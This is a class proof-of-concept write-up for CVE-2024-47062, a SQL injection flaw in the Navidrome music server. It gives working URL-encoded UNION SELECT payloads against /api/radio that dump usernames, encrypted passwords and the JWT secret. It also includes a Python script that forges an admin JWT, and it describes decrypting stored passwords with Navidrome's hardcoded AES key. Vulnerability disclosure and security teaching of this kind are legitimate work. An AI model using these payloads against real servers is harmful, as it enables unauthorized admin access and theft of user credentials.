CVE-2024-47062 PoC
Table of Contents

GitHub link: https://github.com/saisathvik1/CVE-2024-47062
This PoC demonstrates how an SQL Injection vulnerability in Navidrome (CVE-2024-47062) can be exploited to gain admin access. It explains how SQL Injection can reveal sensitive data, how to use a JWT token to obtain admin privileges, and how to decrypt passwords with a hardcoded key stored in Navidrome. This project was created for our Hacking and Offensive Security class (18-739D) at CMU.
Team: Michael Crotty, Annie Liu, Tilden Jackson, Sai Sathvik
What is Navidrome?
Navidrome is a lightweight, self-hosted music server that enables users to stream their music library from anywhere. It is designed to be compatible with Subsonic API clients, allowing users to connect to and play their music collections through various apps and devices. Navidrome’s features make it ideal for personal streaming needs, but like any software, it can have vulnerabilities. This PoC explores one such vulnerability that allows unauthorized access to sensitive data through SQL Injection.
Setup
- Create
navidrome-musicandnavidrome-datadirectories. - Download
docker-compose.yaml, then runsudo docker-compose up -dto install the container. Navidrome.dbis created when the instance is launched for the first time in thenavidrome-datadirectory.- Service can be accessed from
http://127.0.0.1:4533
Exploitation
SQL Injection
This SQL Injection vulnerability arises because parameters from the URL are being directly embedded in SQL queries without proper sanitization. This allows us to inject SQL code by carefully crafting parameters in the URL.
The injection can be triggered by passing specific queries directly into the URL, as they are URL-encoded before reaching the server. This encoding allows malicious queries to slip through as part of the request.
Example: Passing
'=1as a parameter triggers an error in the logs, revealing the SQL structure and confirming the vulnerability:GET /api/radio?%27=1 HTTP/1.1 Log: SELECT count(distinct radio.id) as count FROM radio WHERE (' LIKE {:p0}) Response: "error":"unrecognized token: \"' LIKE ?)\""By reversing and analyzing the Navidrome database (
strings Navidrome.db), we identified that theradiotable is a part of the database. This insight allows us to use the/api/radioendpoint for SQL Injection testing. The same vulnerability should work across other endpoints that interact with/api, since they also incorporate unsanitized parameters directly into queries.For example,
/api/albuminteracts with thealbumtable, and this technique could similarly be applied there. We chose/api/radiofor demonstration as it has fewer columns, which simplifies testing. Using a payload like1=1) order by 6--allowed us to determine the number of columns, confirming the structure expected by the query.With this knowledge, it’s clear that this SQL Injection vulnerability is not limited to the
radioendpoint but can potentially be exploited on most/api/*endpoints where user input is embedded directly in SQL queries without proper sanitization.Using the payload below, we can dump the
usertable:1=1) UNION SELECT id,user_name,password,is_admin,'','' FROM user --
GET /api/radio?%31%3d%31%29%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%69%64%2c%75%73%65%72%5f%6e%61%6d%65%2c%70%61%73%73%77%6f%72%64%2c%69%73%5f%61%64%6d%69%6e%2c%27%27%2c%27%27%20%46%52%4f%4d%20%75%73%65%72%20%2d%2d=1 HTTP/1.1
Extracting the JWT Secret from property Table
To retrieve the JWT Secret, we can dump the property table:
- Payload:
1=1) UNION SELECT ID,VALUE,'','','','' FROM property --
GET /api/radio?%31%3d%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%69%64%2c%76%61%6c%75%65%2c%27%27%2c%27%27%2c%27%27%2c%27%27%20%66%72%6f%6d%20%70%72%6f%70%65%72%74%79%20%2d%2d=1 HTTP/1.1
Crafting an Admin JWT Token
With the JWTSecret from property, we can create a new JWT token with admin privileges. If the password cannot be decrypted, this new token allows us to bypass access restrictions.
Analyzing the JWT token of the currently logged-in user:
Since we have
JWTSecret, we can construct a new token. For instance, if the user isn’t an admin, they can’t view the/api/usersendpoint:Use the following Python script (
create_jwt.py):import jwt secret = "c1f24a44-98cc-4049-ada2-95363e18e437" payload = { "exp": 1731449169, "iat": 1731276369, "iss": "ND", "sub": "sai", "uid": "d8f80c03-103a-4623-9fa9-fafa8836ca52" } token = jwt.encode(payload, secret, algorithm="HS256") print(token) # Output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzE0NDkxNjksImlhdCI6MTczMTI3NjM2OSwiaXNzIjoiTkQiLCJzdWIiOiJzYWkiLCJ1aWQiOiJkOGY4MGMwMy0xMDNhLTQ2MjMtOWZhOS1mYWZhODgzNmNhNTIifQ.GwtwapWo94fXOx7WSCQYpTVYfxeoLH0jpobfhjSzGX0Now we have admin privileges and can view all users:
To register a new user, send a
POSTrequest with new user details:
Decrypting Passwords with a Hardcoded Key
Navidrome uses AES encryption in GCM mode to store encrypted passwords instead of hashing, and it employs a hardcoded key: "just for obfuscation". This allows us to decrypt passwords with decryptor.py.
Automate Everything
The exploit.py script automates data extraction from the User and Property tables.